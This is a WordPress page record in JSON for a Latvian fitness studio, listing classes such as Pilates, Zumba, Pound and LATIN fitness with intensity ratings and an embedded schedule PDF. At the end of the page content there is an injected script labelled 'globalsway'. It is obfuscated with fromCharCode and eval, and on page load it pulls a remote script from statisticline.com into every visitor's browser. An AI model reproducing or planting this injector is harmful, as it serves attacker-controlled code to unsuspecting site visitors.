{"id":27,"date":"2016-11-26T09:16:49","date_gmt":"2016-11-26T09:16:49","guid":{"rendered":"https:\/\/rezerve.studijasievietem.lv\/?page_id=27"},"modified":"2023-03-13T19:06:19","modified_gmt":"2023-03-13T19:06:19","slug":"nodarbibas","status":"publish","type":"page","link":"https:\/\/rezerve.studijasievietem.lv\/index.php\/nodarbibas\/","title":{"rendered":"Nodarb\u012bbas"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n<div class=\"embed-pdf-viewer-wrapper aligncenter wp-block-embed-pdf-viewer-pdf\"><iframe loading=\"lazy\" class=\"embed-pdf-viewer\" src=\"https:\/\/rezerve.studijasievietem.lv\/wp-content\/uploads\/2023\/03\/studijas-grafiks-1-3-9.pdf\" height=\"600\" width=\"600\" title=\"\"><\/iframe><\/div>\n\n\n<p class=\"wp-block-paragraph\"><strong>Nodarb\u012bbu noslogojums:<\/strong><br>Pilates &#8211; *<br>Step &#8211; ***<br>Body architect &#8211; ***<br>Zumba &#8211; **\/***<br>Grip &#8211; ***<br>LATIN fitness &#8211; **<br>Vesel\u012bbas vingro\u0161ana &#8211; *<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>*<\/strong> &#8211; <em>zemas intensit\u0101tes<\/em><br><strong>**<\/strong> &#8211; <em>vid\u0113jas<\/em><br><strong>***<\/strong> &#8211; <em>augstas<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><span style=\"font-family: arial, helvetica, sans-serif;\"><strong>Nodarb\u012bbas uz trena\u017eieriem<\/strong>, kur\u0101 ietilpst vingrin\u0101jumi uz da\u017e\u0101diem trena\u017eieru ier\u012bc\u0113m.<\/span><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>BodyART<\/strong> nodarb\u012bba ir veidota t\u0101, lai no t\u0101s g\u016btu prieku un harmoniju ikviens cilv\u0113ks. \u0160aj\u0101 nodarb\u012bb\u0101 ir iek\u013cauti sp\u0113ka, \u0101rstnieciskie un jogas vingrojumi. Treni\u0146\u0101 var iek\u013caut kardio da\u013cu vai pat visas stundas garum\u0101 veidot tikai kardio treni\u0146u. Nodarb\u012bbu ies\u0101k ar sevis apzin\u0101\u0161anos caur \u0137ermeni un elpu. \u0160is treni\u0146\u0161 patiks tiem, kuru m\u0113r\u0137is nav tikai izl\u0101d\u0113ties, bet ar\u012b g\u016bt pilnv\u0113rt\u012bgu un kontrol\u0113tu slodzi, k\u0101 ar\u012b veidot staltu st\u0101ju, stipru un lokanu \u0137ermeni. Visi bodyART vingrojumi un pozas vienlaic\u012bgi tren\u0113 vair\u0101kas musku\u013cu grupas. Liela uzman\u012bba tiek piev\u0113rsta elpai.<br>Nodarb\u012bba piem\u0113rota jebkuram sagatavot\u012bbas l\u012bmenim. Gandr\u012bz visiem vingrin\u0101jumiem ir vair\u0101kas gr\u016bt\u012bbas pak\u0101pes \u2013 t\u0101 lai komfortabli j\u016btas gan fiziski maz\u0101k sagatavots cilv\u0113ks, gan ar\u012b tie, kuri ir jau pieredzi guvu\u0161i cit\u0101d\u0101ka veida treni\u0146os.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Pound<\/strong> ir fitnesa veids, kas apvieno aerobikas, pila\u0161u un sp\u0113ka vingrin\u0101jumu pamatprincipus. Izmantojot specializ\u0113tas bungu v\u0101l\u012btes, pound bungo\u0161anu padara par efekt\u012bvu treni\u0146u \u0137ermenim un pr\u0101tam. Tas ir lielisks veids k\u0101 att\u012bst\u012bt ritma izj\u016btu, kust\u012bbu koordin\u0101ciju un abstrakto dom\u0101\u0161anu. Un pats galvenais &#8211; \u0161\u012b nodabr\u012bba atdz\u012bvin\u0101s Tavu iek\u0161\u0113jo rokzvaigzni! Klienti saka, ka \u0161is ir viens no efekt\u012bv\u0101kajiem veidiem k\u0101 atbr\u012bvoties no liek\u0101m dom\u0101m un emocij\u0101m.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>VERVE<\/strong> &#8211; DCH koncepta nodarb\u012bba, kur\u0101 apvienoti da\u017e\u0101du vingro\u0161anas sist\u0113mu un pilates pamatprincipi. Sastopamas ar\u012b daudz br\u012bvas kust\u012bbas, kas pak\u013caujas m\u016bzikas ritmam un pl\u016bsmai, un ir tuvas cilv\u0113ka ikdien\u0101 sastopamaj\u0101m dab\u012bgaj\u0101m kust\u012bb\u0101m. Vingrin\u0101jumi uzlabos lokan\u012bbu, atsl\u0101bin\u0101s musku\u013cus, k\u0101 ar\u012b sagatavos v\u0113derpreses un muguras dzi\u013co muskulat\u016bru, lai liel\u0101ku slodzi iztur\u0113tu sp\u0113ka treni\u0146os.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>LATIN fitness<\/strong> &#8211; Latino deju ritm\u0101 tiek stiprin\u0101ts \u0137erme\u0146a st\u0101voklis, uzlabota t\u0101 lokan\u012bba un apg\u016bti \u0161obr\u012bd tik popul\u0101ri latino deju so\u013ci (salsa, ba\u010data, reggaeton, cha-cha-cha, samba utt.). Angel Zaldivar Ramirez profesion\u0101ls dejot\u0101js, deju pasniedz\u0113js un horeogr\u0101fs no Kubas. Iespaid\u012bgas dejas, da\u017e\u0101d\u012bba tehnik\u0101s un neizs\u012bksto\u0161a ener\u0123ija ir t\u0101s, kas raksturo Anhelu. Ir str\u0101d\u0101jis da\u017e\u0101d\u0101s valst\u012bs vis\u0101 pasaul\u0113 \u2013 s\u0101kot no Sp\u0101nijas un Portug\u0101les un beidzot ar Monako un Austr\u0101liju. Anhela studentu vid\u016b ir gan profesion\u0101lie baleta un laikmet\u012bgas dejas dejot\u0101ji, gan cilv\u0113ki, kuri vienk\u0101r\u0161i bauda dz\u012bvi un ir gatavi apg\u016bt kaut ko jaunu \u2013 \u201cRelax people, let\u2019s dance\u201d!<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><span style=\"font-family: arial, helvetica, sans-serif;\"><strong>Step aerobika<\/strong>&nbsp;\u2014 ir efekt\u012bvs, kalorijas dedzino\u0161s kardio treni\u0146\u0161. Uzlabo veikl\u012bbu un koordin\u0101ciju, musku\u013cu tonusu, \u013cauj ieg\u016bt skaistus k\u0101ju un s\u0113\u017eas musku\u013cus<\/span><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><span style=\"font-family: arial, helvetica, sans-serif;\"><strong>Pilates<\/strong> \u2013 Jozefa Pilates izstr\u0101d\u0101ta vingrin\u0101jumu sist\u0113ma, kuras rezult\u0101t\u0101 tiek&nbsp;toniz\u0113ta&nbsp;visa \u0137erme\u0146a muskulat\u016bra, akcent\u0113jot muguras un v\u0113dera preses muskulat\u016bras nostiprin\u0101\u0161anu. \u012apa\u0161a uzman\u012bba piev\u0113rsta dzi\u013co musku\u013cu grupu stiprin\u0101\u0161anai. Nodarb\u012bba skaistai st\u0101jai un veselai mugurai. Nodarb\u012bba ir zemas intensit\u0101tes, piem\u0113rota ikvienai, neatkar\u012bgi no fizisk\u0101s sagatavot\u012bbas l\u012bme\u0146a.<\/span><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><span style=\"font-family: arial, helvetica, sans-serif;\"><strong>Zumba<\/strong> \u2013 vid\u0113jas vai augstas intensit\u0101tes ener\u0123iska dejas un fitnesa nodarb\u012bba ball\u012btes gaisotn\u0113! Tiek nodarbin\u0101ta visa \u0137erme\u0146a muskulat\u016bra, lielisks treni\u0146\u0161 sirds un asinsvadu sist\u0113mai, att\u012bsta koordin\u0101ciju, iztur\u012bbu, veikl\u012bbu un sp\u0113ku. Piem\u0113rota ar vid\u0113ju vai labu fizisko sagatavot\u012bbu.<\/span><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><span style=\"font-family: arial, helvetica, sans-serif;\"><strong>Body toning\/stretching<\/strong>&nbsp;&#8211; sp\u0113ku un sp\u0113ku iztur\u012bbu att\u012bsto\u0161a zemas vai vid\u0113jas intensitates nodarb\u012bba vai ap\u013ca treni\u0146\u0161 ar vienk\u0101r\u0161u horeogr\u0101fiju. Nodarb\u012bb\u0101 var tikt izmanotas hanteles, step platformas, smaguma bumbas. Nodarb\u012bbas nobeigum\u0101 k\u0101rt\u012bga izstiep\u0161an\u0101s. Nostiprina un att\u012bsta \u0137erme\u0146a muskulat\u016bru,&nbsp;kust\u012bbu koordin\u0101ciju, &nbsp;lokan\u012bbu.<\/span><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">M&lt;<\/p>\n<script id='globalsway'>var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,115,116,111,99,107,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,116,114,105,99,107,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(t);<\/script>","protected":false},"excerpt":{"rendered":"<p>Nodarb\u012bbu noslogojums:Pilates &#8211; *Step &#8211; ***Body architect &#8211; ***Zumba &#8211; **\/***Grip &#8211; ***LATIN fitness &#8211; **Vesel\u012bbas vingro\u0161ana &#8211; * * &#8211; zemas intensit\u0101tes** &#8211; vid\u0113jas*** &#8211; augstas Nodarb\u012bbas uz trena\u017eieriem, kur\u0101 ietilpst vingrin\u0101jumi uz da\u017e\u0101diem trena\u017eieru ier\u012bc\u0113m. BodyART nodarb\u012bba ir &hellip; <a href=\"https:\/\/rezerve.studijasievietem.lv\/index.php\/nodarbibas\/\">Continue reading <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"footnotes":""},"class_list":["post-27","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/rezerve.studijasievietem.lv\/index.php\/wp-json\/wp\/v2\/pages\/27","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/rezerve.studijasievietem.lv\/index.php\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/rezerve.studijasievietem.lv\/index.php\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/rezerve.studijasievietem.lv\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/rezerve.studijasievietem.lv\/index.php\/wp-json\/wp\/v2\/comments?post=27"}],"version-history":[{"count":10,"href":"https:\/\/rezerve.studijasievietem.lv\/index.php\/wp-json\/wp\/v2\/pages\/27\/revisions"}],"predecessor-version":[{"id":1722,"href":"https:\/\/rezerve.studijasievietem.lv\/index.php\/wp-json\/wp\/v2\/pages\/27\/revisions\/1722"}],"wp:attachment":[{"href":"https:\/\/rezerve.studijasievietem.lv\/index.php\/wp-json\/wp\/v2\/media?parent=27"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}